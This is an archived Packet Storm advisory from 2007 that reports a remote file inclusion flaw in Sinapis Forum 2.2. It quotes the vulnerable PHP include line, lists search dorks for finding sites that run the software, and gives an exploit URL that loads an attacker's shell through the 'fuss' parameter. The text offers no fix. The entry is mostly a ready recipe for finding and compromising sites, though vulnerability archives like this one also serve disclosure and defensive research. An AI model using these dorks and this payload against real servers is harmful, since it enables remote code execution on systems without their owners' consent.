sinapis-rfi.txt

2007-02-24T00:00:00
ID PACKETSTORM:54635
Type packetstorm
Reporter kezzap66345
Modified 2007-02-24T00:00:00

Description

                                        
                                            `Sinapis Forum 2.2  
  
*****************  
Found by kezzap66345 *  
*****************  
Script:  
http://www.scripter.ch/start.php?id=41.18.9&pos=forum&title=Sinapis%20ForumGstebuch%20<img%20src=/pics/gbscr.gif>  
*****************  
Dork="Sinapis by scripter.ch"  
Dork1="inurl:sinapis.php"  
*****************  
ERROR:  
if($fuss != ""){include($fuss);} <<< rfi coded  
  
  
**************************************************************************************  
RFI:  
  
http://SITE.com/path//sinapis.php?fuss=[SHELL]  
  
`